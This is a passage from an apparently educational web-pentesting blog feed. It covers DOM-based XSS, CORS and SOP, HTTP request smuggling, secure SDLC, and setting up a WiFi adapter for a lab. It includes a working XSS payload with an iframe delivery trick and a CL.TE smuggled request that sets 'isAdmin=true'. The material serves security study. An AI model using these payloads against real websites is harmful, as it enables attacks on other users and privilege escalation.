&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;$&lt;/span&gt;(window).&lt;span style="color:#a6e22e"&gt;on&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;hashchange&amp;#39;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;element&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;$&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;location&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;hash&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;element&lt;/span&gt;[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;].&lt;span style="color:#a6e22e"&gt;scrollIntoView&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Since the has value is a source that we have access to, we can inject an XSS payload into Jquery&amp;rsquo;s &lt;code&gt;$()&lt;/code&gt; selector link.&lt;/li&gt;
&lt;li&gt;For example, if we were able to set URL as follows &lt;code&gt;https://realwebsite.com#&amp;lt;img src=1 onerror=alert(1)&amp;gt;&amp;lt;/img&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;However, this would only allow us to XSS ourselves. To perform XSS on other users, we need to find a way to trigger the &lt;code&gt;hashchange&lt;/code&gt; function automatically. The simplest option would be to leverage an &lt;code&gt;iFrame&lt;/code&gt; to deliver our payload: &lt;code&gt;&amp;lt;iframe src=&amp;quot;https://realwebsite.com#&amp;quot; on load=&amp;quot;this.src+='&amp;lt;img src=1 onerror=alert(1)&amp;gt;'&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Once the website is loaded, the &lt;code&gt;src&lt;/code&gt; value is updated to now include our XSS payload, triggering the &lt;code&gt;hashchange&lt;/code&gt; fuction and , thus, our XSS payload.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="xss-weaponisation"&gt;XSS Weaponisation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;To weaponise DOM baseed XSS, we need to rely on the two conventional delivery methods of XSS payloads, namely storage and reflection. This is why DOM-based XSS, and other DOM-based attacks, are so hard to exploit. Without proper delivery method, you are performing the attack on yourself, and not a target.&lt;/li&gt;
&lt;li&gt;To counter this, we either need the webserver to store our payload for later delivery or to deliver the paylaod through reflection. At this point, our DOM-based XSS becomes a stored or reflected XSS attack.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="nexts-steps"&gt;Nexts steps:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://labs.withsecure.com/publications/getting-real-with-xss"&gt;https://labs.withsecure.com/publications/getting-real-with-xss&lt;/a&gt;&lt;/p&gt;</description></item><item><title>CORS and SOP</title><link>https://silent-resistor.github.io/resources/web-app-pentesting/cors-and-sop/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/web-app-pentesting/cors-and-sop/</guid><description>&lt;h2 id="same-origin-policy-sop"&gt;Same-Origin Policy (SOP)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;SOP is a policy that instructs how web browsers interact between web pages.&lt;/li&gt;
&lt;li&gt;According to this policy, a script on one web page can access data on another only if both pages share the same origin. This &amp;ldquo;origin&amp;rdquo; is identified by combining the URI scheme, hostname, and port number.&lt;/li&gt;
&lt;li&gt;Have a look on below image to understand SOP better.
&lt;img src="https://silent-resistor.github.io/resources_webpen/sop.png" alt="SOP"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="cross-origin-resource-sharing-cors"&gt;Cross-Origin Resource Sharing (CORS)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;CORS is a mechanism defined by HTTP headers that allows servers to specify how resources can be requested from different origins.&lt;/li&gt;
&lt;li&gt;While the Same-Origin Policy (SOP) restricts web pages by default to making requests to the same domain, CORS enables servers to declare exceptions to this policy, allowing web pages to request resources from other domains under controlled conditions.&lt;/li&gt;
&lt;li&gt;CORS operates through a set of HTTP headers that the server sends as part of its response to a browser. These headers inform the browser about the server&amp;rsquo;s CORS policy, such as which origins are allowed to access the resources, which HTTP methods are permitted, and whether credentials can be included with the requests.&lt;/li&gt;
&lt;li&gt;Here are the most common headers used in CORS:
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;Header&lt;/th&gt;
 &lt;th&gt;Description&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Access-Control-Allow-Origin&lt;/td&gt;
 &lt;td&gt;This header specifies which domains are allowed to access the resources. For example, Access-Control-Allow-Origin: example.com allows only requests from example.com.&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Access-Control-Allow-Methods&lt;/td&gt;
 &lt;td&gt;Specifies the HTTP methods (GET, POST, etc.) that can be used during the request.&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Access-Control-Allow-Headers&lt;/td&gt;
 &lt;td&gt;Indicates which HTTP headers can be used during the actual request.&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Access-Control-Max-Age&lt;/td&gt;
 &lt;td&gt;Defines how long the results of a preflight request can be cached.&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Access-Control-Allow-Credentials&lt;/td&gt;
 &lt;td&gt;This header instructs the browser whether to expose the response to the frontend JavaScript code when credentials like cookies, HTTP authentication, or client-side SSL certificates are sent with the request.&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="simple-requests-vs-preflight-requests"&gt;Simple Requests vs. Preflight Requests&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;There are two primary types of requests in CORS: simple requests and preflight requests.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Simple requests&lt;/strong&gt; are those that meet the following criteria:
&lt;ul&gt;
&lt;li&gt;The HTTP method is one of the following: GET, HEAD, or POST.&lt;/li&gt;
&lt;li&gt;The HTTP headers are a subset of the following: Accept, Accept-Language, Content-Language, Content-Type (with a value of application/x-www-form-urlencoded, multipart/form-data, or text/plain), and DPR, Downlink, Save-Data, Viewport-Width, and Width.&lt;/li&gt;
&lt;li&gt;The Content-Type header, if present, is one of the following: application/x-www-form-urlencoded, multipart/form-data, or text/plain.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Preflight requests&lt;/strong&gt; are those that do not meet the criteria for simple requests. These requests are made using the OPTIONS method and include additional headers or methods that are not allowed by the server.&lt;/li&gt;
&lt;li&gt;Have a look on how process of CORS works in below image.
&lt;img src="https://silent-resistor.github.io/resources_webpen/cors.svg" alt="CORS"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="access-control-allow-origin-header-acao-in-depth"&gt;Access-Control-Allow-Origin Header (ACAO) in Depth&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;ACAO header is the most important header in CORS, as it defines which origins are allowed to access the resources.&lt;/li&gt;
&lt;li&gt;When a browser makes a cross-origin request, it includes the origin of the requesting site in the HTTP request. The server then checks this origin against its CORS policy. If the origin is permitted, the server includes the Access-Control-Allow-Origin header in the response, specifying either the allowed origin or a wildcard (*), which means any origin is allowed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="aca0-configurations"&gt;ACA0 Configurations&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;lets see below table for quick view of ACAO Configurations&lt;/p&gt;</description></item><item><title>HTTP Request Smuggling</title><link>https://silent-resistor.github.io/resources/web-app-pentesting/http-request-smuggling/</link><pubDate>Sat, 07 Mar 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/web-app-pentesting/http-request-smuggling/</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;HTTP Request Smuggling is a vulnerability that arises when there are mismatches in different web infrastructure components.&lt;/li&gt;
&lt;li&gt;This include proxies, load balancers, and web servers that interpret the boundaries of HTTP requests.&lt;/li&gt;
&lt;li&gt;For example, consider a train station where tickets are checked at the multiple points before boarding. If each checkpoint has different critiria for a valid ticket, a traveller could exploit these inconsistencies to board without a valid ticket.&lt;/li&gt;
&lt;li&gt;Similarly, in web requests, this vulnerability mainly involves the Content-Length and Transfer-Encoding headers, which indicate the end of the request body. When these headers are manipulated or interpreted across the components, it may result in one request being mixed with another.&lt;/li&gt;
&lt;li&gt;Have a look at the following diagram to understand the concept better.
&lt;img src="https://silent-resistor.github.io/resources_webpen/http-request-smuggling.svg" alt="HTTP Request Smuggling"&gt;&lt;/li&gt;
&lt;li&gt;Request splitting or HTTP desync attacks are possible because of the nature of keep-alive connections and HTTP pipelining, which allow multiple requests to be sent over the same TCP connection. Without these mechanisms, request smuggling would not be feasible. When calculating sizes for Content-Lenght (CL) and Transfer-Encoding (TE), its crucial to consider presence of carriage return &lt;code&gt;\r&lt;/code&gt; and newline &lt;code&gt;\n&lt;/code&gt; characters. These characters are not only part of HTTP protocol&amp;rsquo;s formatting but also impact the calculations of content sizes.&lt;/li&gt;
&lt;li&gt;While testing for this vulnerability, it is important to note that some tools might automatically &amp;ldquo;fix&amp;rdquo; the Content-Length header, by default. This means if you are using such tools to run paylaods, your content-Length might get overwritten, potentially changing the test results.&lt;/li&gt;
&lt;li&gt;Note that this, vulnerability can potentially break a website in many ways (cache poisoning, other user requests may start failing, or even the back end pipeline might get desynced), so extreme care should be taken when testing this on production website.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="modern-infrastructure"&gt;Modern Infrastructure&lt;/h2&gt;
&lt;h3 id="load-balancers-and-reverse-proxies"&gt;Load balancers and reverse proxies&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Load Balancers:&lt;/strong&gt; These devices or services distribute incoming traffic network across multiple servers to ensure no single server is overwhelmed with too much traffic. This helps in ensuring high availability and reliability by redirecting requests only to online servers that can handle them. Load balancing for web servers is oftne done by reverse proxies. Example: AWS Elastic Load Balancer (ELB), HAProxy, NGINX, F5 BIG-IP etc&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reverse Proxies:&lt;/strong&gt; These devices sits before one or more web servers and forwards client requests to the appropriate web server. While they can also perform load balancing, their primary purpose is to provide a single access point and control for back-end servers. Example include: NGINX, Apache with mod_proxy module, and Varnish.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="role-of-caching-machanisms"&gt;Role of Caching Machanisms:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Caching is a technique used to store and reuse previously fetched data or computed results to speed up subsequent requests and computations. In the context of web infracture:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Content Caching:&lt;/strong&gt; By storing web content that doesnt change frequently (like images, css, js files), caching reduces the load on origin servers and improves response times for users.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DB Query Caching:&lt;/strong&gt; By storing the results of expensive database queries, caching reduces the load on databases and improves response times for users.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Full-page Caching:&lt;/strong&gt; By storing entire web pages, need of regenerating them for each user is eliminated. Its usefull for websites with high traffic and static content.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Edge Caching/CDNs:&lt;/strong&gt; Content Delivery Networks (CDNs) cache content on closer to their users (at the &amp;ldquo;edge&amp;rdquo; of the network), reducing the latency and speeding up access for the users around the world.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API Caching:&lt;/strong&gt; Caching responses can significantly reduce the back-end processing for APIs thta serve similar requests repeatedly.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Have a look at the diagram below for a better understanding of how caching works in modern web infrastructure:&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="content-lengthtransfer-encoding-smuggling-http-11"&gt;Content-Length/Transfer-Encoding Smuggling (HTTP 1.1)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;In CL.TE, the attacker exploits the discrepancies between how different servers (typincally front-end and back-end servers) prioritize these headers to manipulate how requests are processed.&lt;/li&gt;
&lt;li&gt;For example:
&lt;ul&gt;
&lt;li&gt;The proxy uses the Content-Length header to determine the end of request.&lt;/li&gt;
&lt;li&gt;The back-end server uses the Transfer-Encoding header.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Have a look at the diagram below for a better understanding:
&lt;img src="https://silent-resistor.github.io/resources_webpen/cl-te.png" alt="CL.TE Diagram"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="exploiting-clte-for-request-splitting"&gt;Exploiting CL.TE for Request Splitting&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;To exploit CL.TE, an attacker crafts a request that includes both the headers, ensuring that the front-end and back-end server interpret the request boundaries differently. For example, an attacker can send a request like
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-http" data-lang="http"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;POST&lt;/span&gt; /search &lt;span style="color:#66d9ef"&gt;HTTP&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;example.com&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Content-Length&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;130&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Transfer-Encoding&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;chunked&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;POST /update HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host: example.com
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Content-Length: 13
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Content-Type: application/x-www-form-urlencoded
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;isAdmin=true
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;When creating a request smuggling payload, if the &lt;code&gt;Content-Length&lt;/code&gt; is not equal to the actual length of the request body, several problem might arise.&lt;/li&gt;
&lt;li&gt;First, the server might process only the portion of the request body that matches the &lt;code&gt;Content-Length&lt;/code&gt;. This could result in the smuggled part of the request being ignored or not processed as intended.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="exploiting-tecl-for-request-splitting"&gt;Exploiting TE.CL for Request Splitting&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This is opposite of the CL.TE method. In this case, the discrepancy occurs when header interpretation is flipped because the front-end server prioritizes the &lt;code&gt;Transfer-Encoding&lt;/code&gt; header to determine the end of request, while the back-end server relies on the &lt;code&gt;Content-Length&lt;/code&gt; header.&lt;/p&gt;</description></item><item><title>SDLC</title><link>https://silent-resistor.github.io/resources/devsecops/sdlc/</link><pubDate>Tue, 14 Apr 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/devsecops/sdlc/</guid><description>&lt;h2 id="1-what-is-sdlc"&gt;1. What is SDLC?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The Software Development Lifecycle is a set of practices that make up a framework to standardise building software applications. SDLC defines the tasks to perform at each software development stage. This methodology aims to improve the quality of the software and the development process to exceed customer expectations and meet deadlines and cost estimates.&lt;/li&gt;
&lt;li&gt;The aim of SDLC is to establish repeatable processes and predictable outcomes from which future projects can benefit. SDLC phases are usually divided into 6-8 phases.
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Planning&lt;/strong&gt;: The planning phase encompasses all aspects of project and product management. This includes resource allocation, project scheduling, cost estimation etc.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Requirements Definition&lt;/strong&gt;: is considered part of planning to determine what the application is supposed to do and its requirements.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Design &amp;amp; Prototyping&lt;/strong&gt;: establishing how the software application will work, programming language, methods to communicate with each other, architecture etc&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Software Development&lt;/strong&gt;: entails building the program, writing code and documentation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Testing&lt;/strong&gt;: In this phase, we ensure components work and can interact with each other.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Deployment&lt;/strong&gt;: in this stage, the application or project is made available to users.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Operations &amp;amp; Maintenance&lt;/strong&gt;: this is where engineers respond to issues in the application or bugs and flaws reported by users and sometimes plan additional features in future releases.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-what-is-secure-software-development-lifecycle-ssdlc-"&gt;2. What is Secure Software Development Lifecycle (SSDLC) ?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;During SDLC, security testing was introduced very late in the lifecycle. ﻿Bugs, flaws, and other vulnerabilities were identified late, making them far more expensive and time-consuming to fix. In most cases, security testing was not considered during the testing phase, so end-users reported bugs after deployment. Secure SDLC models aim to introduce security at every stage of the SDLC.&lt;/li&gt;
&lt;li&gt;A study conducted by the Systems and Sciences institute at IBM discovered that it costs six times more to fix a bug found during implementation than one identified as early as during the design phase. It also reported that it costs 15 times more if flaws are identified during testing and up to 100 times more costly if identified during the maintenance and operation phases.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="21-understanding-security-posture"&gt;2.1 Understanding security posture&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Perform gap analysis to identify what activities and policies exist in your organisation and how effective they are.&lt;/li&gt;
&lt;li&gt;Create software security intiatives (SSI) by establishing realistic and achievable goals with defined metrics for success.&lt;/li&gt;
&lt;li&gt;Formalise processes for security activities within your SSI.&lt;/li&gt;
&lt;li&gt;Invest in security training for engineers as well for appropriate tools.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="22-ssldc-processes"&gt;2.2 SSLDC Processes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Generally speaking, a secure SDLC involves integrating processes like security testing and other activities into an existing development process. The following are some of the key processes:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Risk Assessment&lt;/strong&gt; - during the early stages of SDLC, it is essential to identify security considerations that promote a security by design approach when functional requirements are gathered in the planning and requirements stages.
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Qualitative Risk Assessment&lt;/strong&gt; (subjective like high, low etc). Risk formula, Risk = Severity x Likelihood&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Quantitative Risk Assessment&lt;/strong&gt; (numbers)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Threat Modelling&lt;/strong&gt; - is the process of identifying potential threats when there is a lack of appropriate safeguards. It is very effective when following a risk assessment and during the design stage of the SDLC, as Threat Modelling focuses on what should not happen. In contrast, design requirements state how the software will behave and interact.
&lt;ul&gt;
&lt;li&gt;STRIDE, DREAD, and PASTA are among the common threat modelling methodologies.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;STRIDE&lt;/strong&gt; stands for Spoofing, Tampering, Repudiation, Information Disclosure, Denial Of Service, and Elevation/Escalation of Privilege. We can use STRIDE to identify threats, including the property violated by the threat and definition.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DREAD&lt;/strong&gt; stands for five questions about each potential threat: Damage Potential, Reproducibility, Exploitability, Affected Users, and Discoverability. It ranks threats by assigning scores based on their severity and risk probability.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PASTA&lt;/strong&gt; stands for Process for Attack Simulation and Threat Analysis. It aligns technical requirements with business objectives and provides a strategic view of threats.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Code Scanning / Review&lt;/strong&gt; - Code reviews can be either manual or automated, leveraging Static and Dynamic Security testing technologies crucial in Development stages.
&lt;ul&gt;
&lt;li&gt;Static analysis examines source code without executing programs, while Dynamic analysis looks at source code during runtime. Static analysis detects bugs at implementation level, while dynamic analysis detects errors during program runtime.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SAST&lt;/strong&gt; (Static Application Security Testing) is a white box method used to scan source code for security vulnerabilities that could provide backdoors for attackers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Software Composition Analysis (SCA)&lt;/strong&gt; is used to scan dependencies for security vulnerabilities, helping development teams track and identify any open-source component brought into a project. SCA is now an essential pillar in security testing as modern applications are increasingly composed of open-source code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DAST&lt;/strong&gt; (Dynamic Application Security Testing), a black-box testing method that finds vulnerabilities at runtime in applications, mostly webapps in production deployments, and send alerts to security teams.
&lt;ul&gt;
&lt;li&gt;DAST works by simulating automated attacks on an application, mimicking a malicious attacker. The goal is to find unexpected outcomes or results that attackers could use to compromise an application.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IAST&lt;/strong&gt; (Interactive Application Security Testing), analyses code for security vulnerabilities while the app is running. It is usually deployed side by side with the main application on the application server. It is an application security tool designed for web and mobile applications to detect and report issues evn while running.&lt;/li&gt;
&lt;li&gt;Before someone can fully comprehend IAST&amp;rsquo;s understanding, the person must know what SAST and DAST mean. IAST was developed to stop all the limitations in both SAST and DAST. It uses the &lt;strong&gt;Grey Box Testing&lt;/strong&gt; Methodology.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RASP&lt;/strong&gt; (Runtime Application Self Protection) is a runtime application integrated into an application to analyse inward and outward traffic and end-user behavioural patterns to prevent security attacks. This tool is different from the other tools as RASP is used after product release, making it a more security-focused tool when compared to the others that are known for testing.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security Assessments&lt;/strong&gt; - Penetration Testing and Vulnerability Assessments are forms of automated testing that identify critical paths in applications that may lead to exploitation of vulnerabilities.
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Assessments&lt;/strong&gt; focus on Finding Vulnerabilities, but do not validate them or simulate the findings to prove they are exploitable in reality. Typically, automated tools run against an organisation&amp;rsquo;s network and systems. Examples of tools: are OpenVAS, Nessus (Tenable), and ISS Scanner. The result is a report with a list of vulnerabilities usually found, with an automated threat level severity classification&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Penetration Testing&lt;/strong&gt; includes Vulnerability Testing but goes more in-depth. It is extended by testing/validating of vulnerabilities, quantifying risks and attempting to penetrate systems. For example, trying to escalate privileges after a vulnerability is found, some vulnerabilities can be a lower risk but can be used as leverage to cause more damage&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="3-pipelines-notes"&gt;3. Pipelines Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Git never forgets, if developers commit sensitive information like API keys, passwords, or tokens, they will be available in the commit history forever unless removed.&lt;/li&gt;
&lt;li&gt;So tools like &lt;a href="https://github.com/zricethezav/gitleaks"&gt;GittyLeaks&lt;/a&gt;, which would scan through the commits for sensitive information.&lt;/li&gt;
&lt;li&gt;Log4j Zero day effected software list - &lt;a href="https://github.com/cisagov/log4j-affected-db/tree/develop/software_lists"&gt;https://github.com/cisagov/log4j-affected-db/tree/develop/software_lists&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;In modern pipelines, unit testing can be used as quality gates. Test cases can be integrated into the Continuous Integration and Continuous Deployment (CI/CD) part of the pipeline, where the build will be stopped from progressing if these test cases fail. However, unit testing is usually focused on functionality and not security.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>WiFi Hack Setup Guide - Atheros AR9271</title><link>https://silent-resistor.github.io/posts/wifi-hack-setup-guide/</link><pubDate>Sun, 29 Mar 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/posts/wifi-hack-setup-guide/</guid><description>&lt;h2 id="overview"&gt;Overview&lt;/h2&gt;
&lt;p&gt;This guide walks you through the painful process of weaponizing an Atheros AR9271 WiFi adapter with your Linux machine and VM running inside it on KVM/QEMU.&lt;/p&gt;
&lt;h2 id="prerequisites"&gt;Prerequisites&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A Linux host machine with KVM/QEMU&lt;/li&gt;
&lt;li&gt;VM on KVM/QEMU&lt;/li&gt;
&lt;li&gt;An Atheros AR9271 WiFi adapter&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="chapter-1-host-machine-reconnaissance"&gt;Chapter 1: Host Machine Reconnaissance&lt;/h2&gt;
&lt;h3 id="11-identifying-the-wifi-adapter"&gt;1.1 Identifying the WiFi Adapter&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Recently I purchased a WiFi adapter for my pentesting lab on Amazon. I verified clearly in the product description that it supports monitor mode and packet injection: &lt;strong&gt;&amp;ldquo;2.4GHz 802.11n 150Mbps USB Wireless WiFi Adapter with 3dBi External Antenna for Atheros AR9271 Kali Linux Ubuntu Centos Desktop Windows, Black&amp;rdquo;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;After receiving it, I noticed there&amp;rsquo;s no proper white label or branding on the product body indicating it belongs to a particular company. I&amp;rsquo;m a bit tense because I thought it might be a duplicate product. But after a little research, I found that this is quite common for these generic adapters.&lt;/li&gt;
&lt;li&gt;So, without wasting more time, I plugged the device into my Linux host machine and checked if it was detected.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Initially I checked it with lspci, and it turns out it only lists devices&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# connected to the PCI bus like graphics cards, internal WiFi cards, etc.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;lspci | grep Network
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 04:00.0 Network controller: MEDIATEK Corp. Device 9999&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Since the inserted device is a USB wireless adapter, it connects via USB bus&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Its vendor_id: 0xfw, product_id: 0x9213&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;lsusb | grep -i AR9271
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Bus 001 Device 010: ID 0xfw:9213 Qualcomm Atheros Communications AR9271 802.11n&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# It&amp;#39;s good to know that the device is recognized, now let&amp;#39;s check the connections&lt;/span&gt;
